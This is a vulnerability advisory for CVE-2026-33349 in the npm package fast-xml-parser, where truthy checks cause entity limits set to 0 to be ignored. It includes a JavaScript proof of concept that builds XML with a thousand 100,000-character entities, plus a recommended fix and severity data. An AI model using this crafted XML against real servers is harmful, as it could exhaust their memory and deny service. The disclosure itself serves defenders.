CVE-2026-33349
ADVISORY - githubSummary
Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions. OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to
0receive no protection — the opposite of their intent. This creates a false sense of security. - Scope: Only applications that explicitly set these limits to
0are affected. The default configuration (maxEntityCount: 100,maxEntitySize: 10000) is not vulnerable. Theenabled: falseoption correctly disables entity processing entirely and is not affected.
Recommended Fix
Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:
// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
this.options.maxEntityCount &&
entityCount >= this.options.maxEntityCount) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntityCount === 'number' &&
entityCount >= this.options.maxEntityCount) {
// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
this.options.maxEntitySize &&
entityValue.length > this.options.maxEntitySize) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntitySize === 'number' &&
entityValue.length > this.options.maxEntitySize) {
Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.
Common Weakness Enumeration (CWE)
Improper Validation of Specified Quantity in Input
Improper Validation of Specified Quantity in Input
Improper Validation of Specified Quantity in Input
GitHub
2.2
CVSS SCORE
5.9medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| fast-xml-parser | npm | - | - | >=4.0.0-beta.3,<4.5.5 | 4.5.5 |
| fast-xml-parser | npm | - | - | >=5.0.0,<5.5.7 | 5.5.7 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
2.2
CVSS SCORE
5.9mediumDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumRed Hat
2.2
CVSS SCORE
5.9mediumChainguard
CGA-3h2p-v53m-7x2x
-
minimos
MINI-26rg-cvhv-xm97
-
minimos
MINI-28fc-r28q-r86g
-
minimos
MINI-5xwx-vjc7-4rcp
-
minimos
MINI-7756-7f8c-rpgh
-
minimos
MINI-c9qv-px22-c36f
-
minimos
MINI-f7pm-wq7p-mhj4
-
minimos
MINI-fx4r-4mmh-wv9j
-
minimos
MINI-gg37-v6v5-7r66
-
minimos
MINI-hjmx-x9m4-359c
-
minimos
MINI-hw5g-h276-ww89
-
minimos
MINI-j2p8-348f-7cp4
-
minimos
MINI-m25c-mg63-xv52
-
minimos
MINI-qx92-c5pc-2x5r
-
minimos
MINI-wxh7-939q-p26v
-